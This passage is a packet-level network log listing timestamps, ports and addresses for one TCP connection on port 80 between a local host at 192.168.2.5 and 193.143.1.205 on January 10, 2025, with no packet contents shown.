Jan 10, 2025 22:51:01.317531109 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317547083 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317559004 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317573071 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317584991 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317622900 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.317636013 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317650080 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317667007 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.317667007 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.317696095 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.317943096 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317961931 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.317972898 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318013906 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318016052 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318056107 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318063974 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318067074 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318108082 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318402052 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318414927 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318427086 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318455935 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318474054 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318486929 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318517923 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318553925 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318564892 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318578005 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318615913 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318615913 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.318658113 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318670034 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318680048 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.318706989 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.319344997 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319361925 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319372892 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319386959 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319403887 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.319428921 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.319441080 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319453001 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319463968 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319474936 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319490910 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.319510937 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.319578886 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319591045 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319602013 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.319631100 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.319645882 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.320204973 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320244074 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320255995 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320297956 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.320322037 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320333958 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320343971 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320383072 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.320457935 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320463896 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.320471048 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320482016 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320492983 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320503950 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.320513010 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.320540905 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.321144104 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321166992 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321177959 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321197987 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.321224928 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.321230888 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321310997 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321322918 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321335077 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321346045 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321373940 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.321373940 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.321458101 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321470976 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321484089 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.321501017 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.321526051 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.322094917 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322108030 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322119951 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322149038 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.322160959 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322174072 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322204113 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.322276115 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322288036 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322299004 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322314978 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322324991 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322329044 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.322357893 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322359085 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.322967052 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.322979927 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.323010921 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.328955889 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.330473900 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.330495119 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.330506086 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.330517054 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.330526114 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.330547094 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.341238022 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.373085022 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373114109 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373131037 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373150110 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373187065 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.373240948 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.373316050 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373331070 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373347998 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373363972 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373378038 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373389959 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.373395920 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373413086 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373420954 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.373430967 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373449087 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.373456001 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.373480082 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.387666941 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.403665066 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.403692007 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.403702974 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.403773069 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.403783083 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.403794050 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.403857946 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.404952049 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.415644884 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415663004 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415682077 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415693998 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415705919 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415726900 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415745974 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.415779114 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.415787935 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415801048 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415833950 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.415859938 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415893078 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415904045 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.415941954 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447410107 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447438955 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447453022 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447463989 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447475910 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447487116 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447496891 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447500944 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447510958 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447524071 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447535992 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447566986 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447599888 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447634935 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447649002 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447660923 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447688103 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447710037 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447721958 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447735071 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447747946 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447788954 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447818041 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447869062 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447881937 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447899103 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447922945 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.447923899 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447937965 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.447978020 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448040009 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448059082 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448071003 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448101044 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448132992 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448144913 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448156118 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448174953 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448199034 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448349953 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448362112 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448374033 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448394060 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448405027 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448411942 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448450089 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448452950 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448496103 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448677063 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448688984 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448699951 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448730946 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448733091 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448744059 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448755026 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448766947 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448774099 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448807955 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448885918 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448898077 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448909044 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448920012 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448930025 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.448935032 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448947906 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.448981047 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449156046 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449198008 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449210882 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449240923 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449326992 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449333906 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449341059 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449352980 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449374914 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449387074 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449433088 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449445963 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449456930 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449467897 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449481964 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449493885 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449502945 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449529886 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449542046 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449670076 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449681997 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449692011 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449702978 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449714899 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449714899 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449724913 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.449745893 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.449769974 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452337980 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452349901 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452357054 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452367067 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452404022 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452421904 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452435017 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452471972 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452478886 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452502012 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452517986 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452559948 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452589035 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452605009 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452616930 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452660084 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452660084 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452687979 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452716112 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452728033 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452884912 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.452929020 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.452967882 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453013897 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453042030 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453053951 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.453069925 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453098059 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453108072 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.453125954 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453152895 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453176022 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.453181028 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453222036 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.453304052 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453371048 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453397989 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453416109 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.453474045 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453500986 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453515053 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.453530073 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453557014 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.453577995 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.456386089 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.456418991 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.459291935 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459352970 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459358931 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.459394932 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459424019 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459444046 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.459450960 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459481955 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459501982 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.459510088 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.459561110 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.490009069 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490044117 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490096092 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490149021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490181923 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490184069 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.490217924 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490228891 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.490256071 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490278959 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.490291119 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.490334034 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.513741016 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513778925 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513816118 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513859987 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.513869047 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513904095 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513922930 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.513938904 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513972998 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.513991117 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.534651041 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.534737110 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.534737110 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.534804106 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.534838915 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.534852982 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.534874916 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.534909010 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.534924030 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.535008907 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535048008 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.535065889 CET	49712	80	192.168.2.5	193.143.1.205
